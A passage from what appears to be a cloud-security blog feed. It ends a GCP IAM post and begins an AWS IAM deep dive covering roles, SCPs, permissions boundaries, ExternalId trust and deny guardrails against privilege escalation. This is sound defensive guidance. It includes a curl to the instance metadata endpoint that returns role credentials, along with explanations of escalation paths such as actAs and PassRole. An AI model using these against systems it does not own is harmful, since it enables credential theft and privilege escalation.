<p><strong>Service account keys accumulate and nobody tracks them</strong><br />
In every GCP environment I&#8217;ve audited that allowed SA key creation, there were active keys for accounts that no longer existed, stored on laptops with no central inventory. Keys don&#8217;t expire. Audit with <code class="" data-line="">gcloud iam service-accounts keys list</code> across every SA in every project.</p>
<p><strong><code class="" data-line="">iam.serviceAccounts.actAs</code> is a privilege escalation path</strong><br />
If a principal can call <code class="" data-line="">actAs</code> on a high-privileged SA, they can launch a GCE instance with that SA and operate with its full permissions — without ever being directly granted those permissions. Block this with a deny policy for everyone who doesn&#8217;t explicitly need it.</p>
<p><strong>Org-level <code class="" data-line="">roles/viewer</code> is not a safe broad grant</strong><br />
Read access to every project config, every service configuration, every infrastructure metadata object across your entire GCP estate is not a benign grant. Treat any binding above the project level as high-blast-radius, regardless of the role.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line=""># Audit org and folder structure before any high-level change
gcloud organizations list
gcloud resource-manager folders list --organization=ORG_ID
gcloud projects list --filter=&quot;parent.id=FOLDER_ID&quot;

# Inspect all bindings at org level
gcloud organizations get-iam-policy ORG_ID --format=json | jq &#039;.bindings[]&#039;

# Find allUsers / allAuthenticatedUsers in a project
gcloud projects get-iam-policy PROJECT_ID --format=json \
  | jq &#039;.bindings[] | select(.members[] | contains(&quot;allUsers&quot;) or contains(&quot;allAuthenticatedUsers&quot;))&#039;

# Check a GCS bucket for public access
gsutil iam get gs://BUCKET_NAME | grep -E &quot;(allUsers|allAuthenticatedUsers)&quot;

# Audit all user-managed SA keys across a project
gcloud iam service-accounts list --project=PROJECT_ID --format=&quot;value(email)&quot; \
  | xargs -I{} gcloud iam service-accounts keys list --iam-account={} --managed-by=user

# List predefined roles for a service
gcloud iam roles list --filter=&quot;name:roles/storage&quot; --format=&quot;table(name,title)&quot;

# Inspect what permissions a role actually includes
gcloud iam roles describe roles/storage.objectViewer

# Grant time-limited access with conditional binding
gcloud projects add-iam-policy-binding PROJECT_ID \
  --member=&quot;user:contractor@external.com&quot; \
  --role=&quot;roles/storage.objectViewer&quot; \
  --condition=&quot;expression=request.time &lt; timestamp(&#039;2026-06-30T00:00:00Z&#039;),title=Contractor Q2 2026&quot;

# Enable SA impersonation (avoids key creation)
gcloud iam service-accounts add-iam-policy-binding SA_EMAIL \
  --member=&quot;user:alice@company.com&quot; \
  --role=&quot;roles/iam.serviceAccountTokenCreator&quot;
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>GCP&#8217;s hierarchical model and service account patterns are the primary IAM constructs for GCP environments</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 3 — Security Architecture</td>
<td>Resource hierarchy design determines access inheritance — architectural decisions with direct security implications</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>GCP IAM bindings are the technical implementation of access control policy in GCP environments</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Service account provisioning, conditional bindings with expiry, and workload identity federation</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.2 Privileged access rights</td>
<td>Folder/org-level bindings and basic roles represent the highest-risk privilege grants in GCP</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>IAM bindings and Workload Identity Federation address machine identity controls for CC6.1</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Conditional bindings with time-bound expiry directly satisfy access removal requirements</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>GCP IAM is hierarchical — bindings inherit downward; a binding at org or folder level has much larger scope than it appears</li>
<li>Basic roles (viewer/editor/owner) are too coarse for production; use predefined or custom roles and grant at the narrowest scope</li>
<li>Service account keys are a long-lived credential antipattern; use ADC on GCP infrastructure, impersonation for humans, and Workload Identity Federation for external workloads</li>
<li><code class="" data-line="">allAuthenticatedUsers</code> and <code class="" data-line="">allUsers</code> bindings expose resources to the internet — audit for these in every environment</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> is a privilege escalation vector — treat it like <code class="" data-line="">iam:PassRole</code></li>
<li>Conditional bindings with expiry dates are better than &#8220;I&#8217;ll remember to remove this later&#8221;</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP06 covers Azure RBAC and Entra ID — the most directory-centric of the three models, where Active Directory&#8217;s 25 years of enterprise history shapes both the strengths and the complexity of Azure&#8217;s access control.</p>
<p><em>Next: <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> — Management Groups, Subscriptions, and how role inheritance works across the Microsoft estate.</em></p>
<p>Get EP06 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fgcp-iam-deep-dive%2F&amp;linkname=GCP%20IAM%20Policy%20Inheritance%3A%20How%20the%20Resource%20Hierarchy%20Controls%20Access" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fgcp-iam-deep-dive%2F&amp;linkname=GCP%20IAM%20Policy%20Inheritance%3A%20How%20the%20Resource%20Hierarchy%20Controls%20Access" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fgcp-iam-deep-dive%2F&amp;linkname=GCP%20IAM%20Policy%20Inheritance%3A%20How%20the%20Resource%20Hierarchy%20Controls%20Access" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fgcp-iam-deep-dive%2F&amp;linkname=GCP%20IAM%20Policy%20Inheritance%3A%20How%20the%20Resource%20Hierarchy%20Controls%20Access" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fgcp-iam-deep-dive%2F&amp;linkname=GCP%20IAM%20Policy%20Inheritance%3A%20How%20the%20Resource%20Hierarchy%20Controls%20Access" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fgcp-iam-deep-dive%2F&amp;linkname=GCP%20IAM%20Policy%20Inheritance%3A%20How%20the%20Resource%20Hierarchy%20Controls%20Access" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fgcp-iam-deep-dive%2F&amp;linkname=GCP%20IAM%20Policy%20Inheritance%3A%20How%20the%20Resource%20Hierarchy%20Controls%20Access" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fgcp-iam-deep-dive%2F&#038;title=GCP%20IAM%20Policy%20Inheritance%3A%20How%20the%20Resource%20Hierarchy%20Controls%20Access" data-a2a-url="https://linuxcent.com/gcp-iam-deep-dive/" data-a2a-title="GCP IAM Policy Inheritance: How the Resource Hierarchy Controls Access"></a></p><p>The post <a href="https://linuxcent.com/gcp-iam-deep-dive/">GCP IAM Policy Inheritance: How the Resource Hierarchy Controls Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/gcp-iam-deep-dive/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1477</post-id>	</item>
		<item>
		<title>AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</title>
		<link>https://linuxcent.com/aws-iam-deep-dive/</link>
					<comments>https://linuxcent.com/aws-iam-deep-dive/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 14 Apr 2026 05:08:27 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[AWS Identity Center]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross Account Access]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IAM Roles]]></category>
		<category><![CDATA[SCP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/aws-iam-deep-dive/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>Complete AWS IAM guide: users, groups, roles, trust policies, SCPs, permissions boundaries, cross-account access, and IAM Identity Center for production environments.</p>
<p>The post <a href="https://linuxcent.com/aws-iam-deep-dive/">AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><em><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → </em><em>AWS IAM Deep Dive</em><em> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a></em></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>IAM users with long-lived access keys are legacy — use <strong>IAM Identity Center with federation</strong>; static keys are a security finding, not a feature</li>
<li>Roles issue temporary credentials via STS — the right identity model for every service (Lambda, EC2, ECS, CI/CD)</li>
<li>Every role has <strong>two required configs</strong>: trust policy (who can assume it) + permission policy (what it can do) — both must be correct</li>
<li><strong>SCPs</strong> set the org-level ceiling; they cannot grant permissions and do not apply to the management account</li>
<li><strong>Permissions boundaries</strong> set an identity-level ceiling — effective permissions are the <em>intersection</em> with identity-based policies, not the union</li>
<li>Cross-account trust without an <code class="" data-line="">ExternalId</code> condition is vulnerable to the confused deputy attack — always include it with third-party trust</li>
<li>One role per service, never shared — a shared role&#8217;s blast radius is the union of what every consumer needs</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<p>AWS IAM evaluates every API call through a specific chain. Understanding this chain is how you debug access issues and how you design guardrails that actually hold.</p>
<pre><code class="" data-line="">  AWS POLICY EVALUATION — every API call walks this chain top to bottom
  An explicit DENY at any step ends evaluation immediately.

         API call arrives
               │
               ▼
  ┌────────────────────────────┐
  │  Explicit DENY in any SCP? │── YES ──────────────────────────► DENIED
  └────────────────┬───────────┘     (cannot be overridden by anything)
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  SCP present with no ALLOW │── YES ──────────────────────────► DENIED
  └────────────────┬───────────┘
                   │ NO (or no SCP / management account)
                   ▼
  ┌────────────────────────────┐
  │  Explicit DENY in any      │── YES ──────────────────────────► DENIED
  │  identity or resource      │
  │  policy?                   │
  └────────────────┬───────────┘
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  Resource-based policy     │── YES (same-account principal) ──► ALLOWED*
  │  with ALLOW?               │
  └────────────────┬───────────┘   *unless denied above
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  Permissions boundary      │── YES, boundary has NO ALLOW ───► DENIED
  │  attached?                 │
  └────────────────┬───────────┘
                   │ NO boundary, or boundary ALLOWS
                   ▼
  ┌────────────────────────────┐
  │  Session policy attached   │── YES, session has NO ALLOW ────► DENIED
  │  (role assumption)?        │
  └────────────────┬───────────┘
                   │ NO session policy, or session ALLOWS
                   ▼
  ┌────────────────────────────┐
  │  Identity-based policy     │── YES ──────────────────────────► ALLOWED
  │  with ALLOW?               │
  └────────────────┬───────────┘
                   │ NO
                   ▼
                DENIED (default — nothing explicitly granted)

  Debugging AccessDenied: work bottom-up.
  Start with the identity-based policy. Then boundary. Then SCP.
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>An AWS IAM deep dive reveals what most teams miss: the difference between an IAM model that works under deadline and one that survives scale, audits, and staff turnover. If you&#8217;ve read <a href="/iam-roles-policies-permissions-explained/">IAM roles vs policies</a> and understand the three-layer stack, this is where it becomes specific to AWS — trust policies, SCPs, permissions boundaries, cross-account trust, and Identity Center.</p>
<p>In 2017 I was asked to help clean up an AWS account that had been running in production for two years. The team had built something real — a microservices application, a data pipeline, a CI/CD system. Competent engineers. But nobody had been specifically accountable for IAM.</p>
<p>When I pulled the configuration:</p>
<ul>
<li>One IAM user with <code class="" data-line="">AdministratorAccess</code> shared by the entire dev team. Password in a shared password manager. Access key three years old.</li>
<li>Six Lambda functions each carrying <code class="" data-line="">AWSLambdaFullAccess</code>, <code class="" data-line="">AmazonS3FullAccess</code>, and <code class="" data-line="">AmazonDynamoDBFullAccess</code> — three broad managed policies each, instead of one custom policy with what each function actually needed.</li>
<li>A CI/CD pipeline role with <code class="" data-line="">iam:*</code> on <code class="" data-line="">*</code> because someone once needed to create a role during a deployment and found that the easiest path.</li>
<li>Three IAM users for contractors who had finished their engagements months earlier. Still active, access keys still valid.</li>
</ul>
<p>None of this was malicious. All of it was the result of reaching for the broadest thing that works, under deadline, without a framework for IAM decisions.</p>
<p>AWS IAM is the most flexible cloud IAM system. That flexibility is the problem. If you don&#8217;t know the full model, you default to broad grants because they&#8217;re easier to reason about. Broad things accumulate into exposure. This episode is the full model.</p>
<hr />
<h2 id="aws-iam-identity-types-users-groups-and-roles-compared">AWS IAM Identity Types: Users, Groups, and Roles Compared</h2>
<h3 id="iam-users-why-static-access-keys-are-a-security-finding">IAM Users: Why Static Access Keys Are a Security Finding</h3>
<p>An IAM user is a permanent identity with long-lived credentials: a password for console access, and optionally an access key pair. No expiry on the access key by default.</p>
<pre><code class="" data-line=""># Create a user
aws iam create-user --user-name alice

# Generate an access key — no expiry unless you set one
aws iam create-access-key --user-name alice

# Enforce MFA for console access
aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name alice-mfa \
  --outfile /tmp/alice-mfa.png \
  --bootstrap-method QRCodePNG

aws iam enable-mfa-device \
  --user-name alice \
  --serial-number arn:aws:iam::123456789012:mfa/alice-mfa \
  --authentication-code1 123456 \
  --authentication-code2 654321
</code></pre>
<p>The access key exists the moment you create it. It survives team changes, org restructures, and offboarding unless someone explicitly deletes it. In practice, access keys are where I find the oldest, most-forgotten credentials in every AWS account I&#8217;ve audited.</p>
<p><strong>Current best practice: don&#8217;t create IAM users for human access.</strong> Use IAM Identity Center with federation. Static access keys are a finding, not a feature.</p>
<h3 id="iam-groups-useful-but-limited">IAM groups — useful but limited</h3>
<p>Groups are collections of users. Policies attached to a group apply to all members. Useful as a middle layer, but limited: you can&#8217;t add roles or services to a group, and if you&#8217;re moving toward Identity Center, groups in IAM become less relevant.</p>
<pre><code class="" data-line="">aws iam create-group --group-name Backend-Developers
aws iam attach-group-policy \
  --group-name Backend-Developers \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess
aws iam add-user-to-group --group-name Backend-Developers --user-name alice
</code></pre>
<h3 id="iam-roles-how-sts-temporary-credentials-work">IAM Roles: How STS Temporary Credentials Work</h3>
<p>A role is an identity without permanent credentials. It is assumed by entities — services, users, external systems — and STS issues temporary credentials. Those credentials expire. Nothing to rotate.</p>
<pre><code class="" data-line=""># Create a role that EC2 can assume
cat &gt; ec2-trust-policy.json &lt;&lt; &#039;EOF&#039;
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: { &quot;Service&quot;: &quot;ec2.amazonaws.com&quot; },
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;
  }]
}
EOF

aws iam create-role \
  --role-name AppServerRole \
  --assume-role-policy-document file://ec2-trust-policy.json

aws iam attach-role-policy \
  --role-name AppServerRole \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess

# EC2 needs an instance profile to carry the role
aws iam create-instance-profile --instance-profile-name AppServerProfile
aws iam add-role-to-instance-profile \
  --instance-profile-name AppServerProfile \
  --role-name AppServerRole

# Launch with the profile
aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t3.micro \
  --iam-instance-profile Name=AppServerProfile
</code></pre>
<p>From inside the instance — no credential files, no configuration:</p>
<pre><code class="" data-line="">curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AppServerRole
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
# AWS refreshes these before they expire. The application never sees a rotation event.
</code></pre>
<p>Lambda, ECS, and other services use different attachment mechanisms but the same model.</p>
<hr />
<h2 id="aws-iam-policy-types-managed-inline-scp-and-boundaries">AWS IAM Policy Types: Managed, Inline, SCP, and Boundaries</h2>
<h3 id="managed-vs-inline-policies">Managed vs inline policies</h3>
<pre><code class="" data-line="">┌────────────────────┬──────────────────────────────────┬──────────────────────────────────────┐
│ Type               │ Description                      │ Use when                             │
├────────────────────┼──────────────────────────────────┼──────────────────────────────────────┤
│ AWS Managed        │ Created by AWS, read-only        │ Quick prototyping; never production  │
│ Customer Managed   │ Created by you, reusable         │ Standard production permissions      │
│ Inline             │ Embedded in user/group/role      │ Explicit 1:1 non-transferable binding│
└────────────────────┴──────────────────────────────────┴──────────────────────────────────────┘
</code></pre>
<p>AWS Managed policies like <code class="" data-line="">AmazonS3FullAccess</code> are convenient and dangerous for the same reason: broad by design, meant to cover every use case. For a Lambda that reads one specific bucket, <code class="" data-line="">AmazonS3FullAccess</code> grants approximately 30 permissions you didn&#8217;t need.</p>
<pre><code class="" data-line=""># Create a customer managed policy — scoped to what the Lambda actually does
cat &gt; lambda-reader-policy.json &lt;&lt; &#039;EOF&#039;
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Sid&quot;: &quot;ReadSpecificBucket&quot;,
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:GetObject&quot;, &quot;s3:ListBucket&quot;],
    &quot;Resource&quot;: [
      &quot;arn:aws:s3:::app-data-prod&quot;,
      &quot;arn:aws:s3:::app-data-prod/*&quot;
    ]
  }]
}
EOF

aws iam create-policy \
  --policy-name LambdaS3ReadPolicy \
  --policy-document file://lambda-reader-policy.json

aws iam attach-role-policy \
  --role-name lambda-image-processor-role \
  --policy-arn arn:aws:iam::123456789012:policy/LambdaS3ReadPolicy
</code></pre>
<h3 id="service-control-policies-org-wide-guardrails">Service Control Policies — org-wide guardrails</h3>
<p>SCPs attach to AWS Organization OUs or accounts. They define the maximum permissions any identity in that scope can have. They cannot grant — only restrict.</p>
<p>Two SCPs I apply to every account from day one:</p>
<pre><code class="" data-line="">// Region restriction — blast radius control
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Action&quot;: &quot;*&quot;,
    &quot;Resource&quot;: &quot;*&quot;,
    &quot;Condition&quot;: {
      &quot;StringNotEquals&quot;: {
        &quot;aws:RequestedRegion&quot;: [&quot;ap-south-1&quot;, &quot;us-east-1&quot;, &quot;eu-west-1&quot;]
      }
    }
  }]
}
</code></pre>
<pre><code class="" data-line="">// Protect the audit trail — anti-forensics control
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Action&quot;: [
      &quot;cloudtrail:StopLogging&quot;,
      &quot;cloudtrail:DeleteTrail&quot;,
      &quot;cloudtrail:UpdateTrail&quot;
    ],
    &quot;Resource&quot;: &quot;*&quot;
  }]
}
</code></pre>
<p>The region restriction limits where compromised credentials can operate. The CloudTrail restriction means even an <code class="" data-line="">AdministratorAccess</code> compromise cannot erase the audit trail. The attacker knows they&#8217;re being logged and cannot stop it. This is the authorization layer — understanding <a href="/authentication-vs-authorization-iam/">authentication vs authorization</a> makes clear why SCPs operate at Gate 2, not Gate 1.</p>
<h3 id="permissions-boundaries-identity-level-ceilings">Permissions boundaries — identity-level ceilings</h3>
<p>A permissions boundary sets the maximum permissions for a specific user or role. Effective permissions are the <strong>intersection</strong> of what the boundary allows and what identity-based policies grant.</p>
<pre><code class="" data-line="">Boundary allows:  s3:*, dynamodb:*
Identity policy:  s3:*, ec2:*
──────────────────────────────────
Effective:        s3:*             ← the intersection only
</code></pre>
<pre><code class="" data-line="">// Boundary: this role can use at most S3 and DynamoDB
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:*&quot;, &quot;dynamodb:*&quot;],
    &quot;Resource&quot;: &quot;*&quot;
  }]
}
</code></pre>
<pre><code class="" data-line="">aws iam put-role-permissions-boundary \
  --role-name DevTeamRole \
  --permissions-boundary arn:aws:iam::123456789012:policy/DevTeamBoundary
</code></pre>
<p>I use permissions boundaries for safe IAM delegation. When a dev team needs to create their own roles for their services, I give them <code class="" data-line="">iam:CreateRole</code> and <code class="" data-line="">iam:AttachRolePolicy</code> — but require any role they create to have a specific boundary. They can self-service IAM without accidentally creating a role more powerful than their team should have.</p>
<hr />
<h2 id="how-aws-cross-account-iam-trust-works">How AWS Cross-Account IAM Trust Works</h2>
<p>AWS accounts are IAM isolation boundaries. An identity in Account A has zero access to Account B by default. Cross-account access requires explicit trust in both directions.</p>
<pre><code class="" data-line="">Account B creates a role with a trust policy naming Account A&#039;s identity.
Account A&#039;s identity has permission to call sts:AssumeRole on that role.
</code></pre>
<pre><code class="" data-line="">// Account B: trust policy on the cross-account role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: {
      &quot;AWS&quot;: &quot;arn:aws:iam::ACCOUNT_A_ID:role/DeployPipelineRole&quot;
    },
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
    &quot;Condition&quot;: {
      &quot;StringEquals&quot;: { &quot;sts:ExternalId&quot;: &quot;unique-external-id-12345&quot; }
    }
  }]
}
</code></pre>
<pre><code class="" data-line=""># Account A: the pipeline assumes the cross-account role
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT_B_ID:role/DeployTarget \
  --role-session-name pipeline-deploy \
  --external-id unique-external-id-12345

# Export the temporary credentials and operate in Account B
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls s3://account-b-bucket/
</code></pre>
<p>The <code class="" data-line="">ExternalId</code> condition prevents the <strong>confused deputy</strong> attack. Without it, if you operate a service that assumes roles on behalf of customers, an attacker who knows your service&#8217;s ARN can trick it into assuming their customer&#8217;s role.</p>
<p>The ExternalId is a shared secret proving the party requesting assumption is the one who established the trust. Always include it for third-party cross-account trust.</p>
<hr />
<h2 id="aws-iam-identity-center-federated-human-access-without-static-keys">AWS IAM Identity Center: Federated Human Access Without Static Keys</h2>
<p>IAM Identity Center (formerly AWS SSO) is the modern answer to &#8220;how do engineers access AWS accounts?&#8221; It federates an external IdP and maps your organization&#8217;s groups to Permission Sets.</p>
<pre><code class="" data-line="">  Okta / Google Workspace / Entra ID
    ↓ SAML 2.0 or OIDC
  IAM Identity Center
    ↓ Permission Sets (collections of policies)
  Account Assignments (group → permission set → account)
    ↓
  Temporary credentials in each target account (no long-lived keys)
</code></pre>
<pre><code class="" data-line=""># Configure CLI access via Identity Center
aws configure sso
# Prompts: SSO start URL, region, account, role

# Login — browser opens for IdP auth
aws sso login --profile prod-admin

# Use normally — credentials are temporary and auto-refreshed
aws s3 ls --profile prod-admin
aws ec2 describe-instances --profile prod-admin
</code></pre>
<p>When someone leaves the organization: disable them in your IdP. Their SSO session expires, their temporary credentials expire, access is gone. That&#8217;s it — no access key hunting across 20 accounts.</p>
<hr />
<h2 id="aws-iam-patterns-for-production-what-survives-scale">AWS IAM Patterns for Production: What Survives Scale</h2>
<h3 id="one-role-per-service-never-share">One role per service — never share</h3>
<p>Every Lambda, ECS task, and EC2 application gets its own role. Even two Lambdas doing similar things. The moment you share a role, its permissions are the union of what each consumer needs — and a compromise of one consumer exposes the full union.</p>
<pre><code class="" data-line=""># Dedicated execution role — specific to this function&#039;s actual needs
aws iam create-role \
  --role-name lambda-invoice-processor-role \
  --assume-role-policy-document \
  &#039;{&quot;Version&quot;:&quot;2012-10-17&quot;,&quot;Statement&quot;:[{&quot;Effect&quot;:&quot;Allow&quot;,&quot;Principal&quot;:{&quot;Service&quot;:&quot;lambda.amazonaws.com&quot;},&quot;Action&quot;:&quot;sts:AssumeRole&quot;}]}&#039;

aws iam put-role-policy \
  --role-name lambda-invoice-processor-role \
  --policy-name InvoiceProcessorPolicy \
  --policy-document file://lambda-invoice-processor-policy.json
</code></pre>
<h3 id="iam-escalation-guardrail">IAM escalation guardrail</h3>
<p>Any role that isn&#8217;t an explicit IAM admin should have a guardrail blocking escalation actions:</p>
<pre><code class="" data-line="">{
  &quot;Sid&quot;: &quot;DenyIAMEscalation&quot;,
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: [
    &quot;iam:CreateUser&quot;, &quot;iam:CreateRole&quot;, &quot;iam:AttachRolePolicy&quot;,
    &quot;iam:PutRolePolicy&quot;, &quot;iam:PassRole&quot;, &quot;iam:CreateAccessKey&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;,
  &quot;Condition&quot;: {
    &quot;StringNotEquals&quot;: {
      &quot;aws:PrincipalArn&quot;: &quot;arn:aws:iam::123456789012:role/InfraAdminRole&quot;
    }
  }
}
</code></pre>
